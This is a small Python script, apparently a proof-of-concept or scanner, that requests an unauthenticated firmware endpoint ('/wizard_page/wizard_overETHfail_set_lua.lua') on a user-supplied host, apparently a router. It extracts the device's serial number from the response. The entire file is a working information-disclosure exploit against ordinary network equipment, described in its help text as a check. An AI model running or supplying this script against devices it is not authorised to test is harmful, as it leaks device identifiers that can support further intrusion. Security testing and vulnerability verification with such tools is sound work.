import argparse import html import re import sys import requests SERIAL_PATTERN = re.compile( r"SerialNumber(.*?)" ) SERIAL_ENDPOINT = "/wizard_page/wizard_overETHfail_set_lua.lua" def extract_serial_number(response_text: str) -> str | None: match = SERIAL_PATTERN.search(response_text) if not match: return None return html.unescape(match.group(1)) def build_url(target: str) -> str: target = target.strip().rstrip("/") if target.startswith(("http://", "https://")): return f"{target}{SERIAL_ENDPOINT}" return f"http://{target}{SERIAL_ENDPOINT}" def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description="Check the unauthenticated serial-number endpoint on a target." ) parser.add_argument( "target", help="Target host or base URL, for example 192.168.1.1 or http://192.168.1.1", ) parser.add_argument( "--timeout", type=float, default=10.0, help="HTTP timeout in seconds (default: 10)", ) return parser.parse_args() def main() -> int: args = parse_args() url = build_url(args.target) try: response = requests.get(url, timeout=args.timeout) response.raise_for_status() except requests.RequestException as exc: print(f"Request failed: {exc}", file=sys.stderr) return 1 serial_number = extract_serial_number(response.text) if serial_number is None: print("Serial number not found in the response.", file=sys.stderr) return 2 print(f"SerialNumber: {serial_number}") return 0 if __name__ == "__main__": raise SystemExit(main())